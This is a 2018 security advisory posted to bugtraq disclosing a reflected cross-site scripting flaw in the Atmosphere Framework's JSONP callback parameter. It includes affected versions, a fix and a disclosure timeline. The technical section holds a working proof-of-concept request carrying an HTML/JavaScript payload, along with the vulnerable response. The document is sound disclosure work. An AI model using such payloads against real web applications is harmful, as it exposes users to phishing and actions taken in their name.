bugtraq - CSNC-2018-023 - Atmosphere Framework - Reflected Cross-Site Scripting (XSS)

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Date: Wed, 15 Aug 2018 06:53:44 +0000
From: Advisories <advisories@...pass-security.com>
To: "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>,
  "bugs@...uritytracker.com" <bugs@...uritytracker.com>
Subject: CSNC-2018-023 - Atmosphere Framework - Reflected Cross-Site
 Scripting (XSS)

#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:   Atmosphere [1]
# Vendor:    Async-IO.org
# CSNC ID:   CSNC-2018-023
# Subject:   Reflected Cross-Site Scripting (XSS)
# Risk:      High
# Effect:    Remotely exploitable
# Author:    Lukasz D. (advisories@...pass-security.com)
# Date:      13.08.2018
#
#############################################################

Introduction:
-------------
The Atmosphere Framework is the most popular asynchronous application
development framework for enterprise Java. The Atmosphere Framework provides
the enterprise features required to build massive scalable and real time
asynchronous applications using transports like WebSocket, Server Sent Events
and traditional Ajax Techniques. [2]

Web applications using the Atmosphere Framework were found to be vulnerable to a
common security flaw that allows an attacker to execute malicious code in the
browser of users that followed a manipulated link to access the application.
Exploiting the vulnerability allows the attacker, for instance, to redirect the
user to a phishing page or interact with the application on behalf of the user.

Affected:
---------
The following Atmosphere versions are vulnerable:
- 2.4.0 - 2.4.28
- 2.3.0 - 2.3.9
- 2.2.0 - 2.2.12
- 2.1.0 - 2.1.13
- 2.0.0 - 2.0.11
- 1.0.0 - 1.0.20

Technical Description:
----------------------
The JSONP transport method supported by the Atmosphere Framework is vulnerable
to a reflected Cross-Site Scripting (XSS) attack. The JSONP callback parameter
that will be put into the server's response can contain HTML code. As the
response does not specify the content type, it may be treated as an HTML page by
browsers. For example, Firefox 52 ESR will execute JavaScript payload reflected
in the response in the following proof of concept:

Request:
GET /chat?X-Atmosphere-Transport=jsonp&
          jsonpTransport=%3Chtml%3E%3Cbody%20onload=alert(`XSS`)%3E&
          X-Atmosphere-tracking-id=1&
          X-Atmosphere-Framework=1&
          X-atmo-protocol=true HTTP/1.1
Host: [CUT]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Response:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Atmosphere-tracking-id: 1
Expires: -1
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Date: Mon, 16 Jul 2018 13:37:00 GMT
Connection: close
Content-Length: 52

<html><body onload=alert(`XSS`)>({"message" : "X"});

Workaround / Fix:
-----------------
It needs to be ensured that all JSONP responses are delivered with the correct
HTTP header: "Content-Type: application/javascript; charset=utf-8". Moreover,
JSONP callback function should not contain any non-alphanumeric characters.

Timeline:
---------
2018-07-16:   Vulnerability discovered
2018-07-18:   Initial vendor notification
2018-07-18:   Initial vendor response
2018-07-20:   Patched version released
2018-08-13:   Public disclosure

References:
-----------
[1]: https://github.com/Atmosphere
[2]: https://async-io.org/